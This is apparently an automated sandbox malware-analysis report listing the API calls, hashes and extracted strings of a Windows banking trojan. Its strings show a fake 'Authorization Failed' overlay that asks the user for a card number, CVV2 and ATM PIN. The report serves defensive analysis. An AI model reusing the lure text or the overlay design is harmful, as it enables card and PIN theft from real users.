Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

7O{M, xrefs: 0040513F
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3
D, xrefs: 00405334
X-okRecv11, xrefs: 00405458
Path, xrefs: 00405250
\Iexplore.exe , xrefs: 004052EC
IEFrame, xrefs: 004053F2
Software\Microsoft\IE Setup\Setup, xrefs: 00405255

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
MicroSoft-Corp, xrefs: 00405DB9
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
X-okRecv11, xrefs: 00405E3F
Path, xrefs: 00405C90
\Iexplore.exe , xrefs: 00405CEB
IEFrame, xrefs: 00405DE8
D, xrefs: 00405D39
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

Click Once To Continue, xrefs: 00406566
BUTTON, xrefs: 0040656B
Your card number, xrefs: 0040639E
Card && expiration date, xrefs: 0040635F
DocObject, xrefs: 00406089
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Please make corrections and try again., xrefs: 00406482
20%.2u, xrefs: 00406302
MasterCard, xrefs: 004061F2
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Explorer, xrefs: 00406098
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
QueenKarton, xrefs: 004060F5
3-digit validation code on back of card (cvv2), xrefs: 004063D7
%.2u, xrefs: 004062D6
Visa, xrefs: 00406204
Authorization Failed., xrefs: 00406129
ATM PIN-Code, xrefs: 00406410
EDIT, xrefs: 004064BD, 004064F9, 0040652F

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
